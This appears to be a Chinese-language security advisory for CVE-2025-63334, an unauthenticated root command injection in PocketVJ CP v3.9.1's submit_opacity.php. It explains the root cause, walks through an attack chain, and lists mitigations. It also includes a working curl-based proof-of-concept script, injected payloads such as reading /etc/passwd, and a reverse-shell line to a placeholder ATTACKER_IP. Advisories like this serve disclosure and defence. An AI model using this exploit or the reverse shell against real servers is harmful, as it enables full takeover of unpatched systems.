CVE-2025-63334 PocketVJ CP v3.9.1 submit_opacity.php远程代码执行漏洞

漏洞信息

漏洞编号

CVE-2025-63334

漏洞类型

远程代码执行

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

PocketVJ CP (PocketVJ-CP-v3) v3.9.1

漏洞概述

CVE-2025-63334是PocketVJ CP v3.9.1版本中的一个严重安全漏洞，属于未认证远程代码执行(RCE)漏洞。该漏洞存在于submit_opacity.php组件中，攻击者可以通过构造恶意的opacityValue POST参数，在无需任何认证的情况下在目标系统上执行任意命令，且以root权限运行。这意味着攻击者可以完全控制受影响的服务器，执行系统命令、安装后门、窃取敏感数据或进行横向移动。由于CVSS评分高达9.8(满分10分)，该漏洞被评定为严重级别，对使用该产品的组织构成极高风险。PocketVJ是一款用于视频映射和交互展示的控制系统软件，广泛应用于舞台表演、展览展示和广告投影等场景。一旦该漏洞被利用，可能导致商业机密泄露、系统瘫痪或被用于进一步攻击内网其他系统。

技术细节

漏洞根源在于submit_opacity.php文件对用户提交的opacityValue参数缺乏有效的输入验证和过滤。该参数值直接被拼接到shell命令中执行，而PHP的system()、exec()或shell_exec()等函数会将字符串传递给系统shell解释器。攻击者可以利用管道符(|)、分号(;)、反引号(`)或$()等shell特殊字符注入额外命令。例如，opacityValue参数可以构造为'; whoami; #'来执行whoami命令。由于应用以root权限运行，注入的命令也将以root身份执行，从而获得系统的完全控制权。漏洞利用无需任何认证，攻击者只需构造HTTP POST请求即可触发。这种类型的漏洞被称为OS命令注入，是最危险的Web漏洞之一，因为它允许攻击者直接在服务器操作系统层面执行任意代码。

攻击链分析

STEP 1

步骤1

侦察阶段：攻击者识别目标服务器上运行的PocketVJ CP应用版本(v3.9.1)，确认submit_opacity.php端点存在

STEP 2

步骤2

构造恶意请求：攻击者构造包含shell命令注入payload的HTTP POST请求，opacityValue参数值为类似'; whoami; #'或'; cat /etc/passwd; #'的字符串

STEP 3

步骤3

发送漏洞利用请求：攻击者向http://target/submit_opacity.php发送构造的POST请求

STEP 4

步骤4

命令执行：目标服务器的PHP应用将未过滤的opacityValue参数直接拼接到shell命令中执行，注入的命令以root权限运行

STEP 5

步骤5

建立持久化访问：攻击者可以通过反弹shell、安装后门或创建新用户等方式获取持久化控制

STEP 6

步骤6

横向移动：利用获得的root权限访问敏感数据或攻击内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/bin/bash
# CVE-2025-63334 PoC - PocketVJ CP v3.9.1 Remote Code Execution
# Target: PocketVJ CP submit_opacity.php

TARGET="http://target.com"  # Replace with actual target URL
CMD="id"  # Command to execute

curl -X POST "${TARGET}/submit_opacity.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "opacityValue=;${CMD};#" \
  -k  # Ignore SSL certificate errors if any

echo "[+] Exploit sent. Check response for command output."
echo "[+] To get a reverse shell, use: bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"

影响范围

PocketVJ CP v3.9.1

防御指南

临时缓解措施

在官方修复发布前，建议采取以下临时缓解措施：1)通过Web服务器配置(如Nginx/Apache的location规则)限制对submit_opacity.php的访问，仅允许受信任的IP访问；2)部署Web应用防火墙规则检测和阻止常见的命令注入payload；3)暂时禁用或删除submit_opacity.php文件(如果不影响业务功能)；4)监控Web访问日志，查找异常的POST请求模式；5)考虑使用基于容器的隔离方案，限制应用权限；6)实施网络分段，将PocketVJ系统放置在独立的隔离网段中。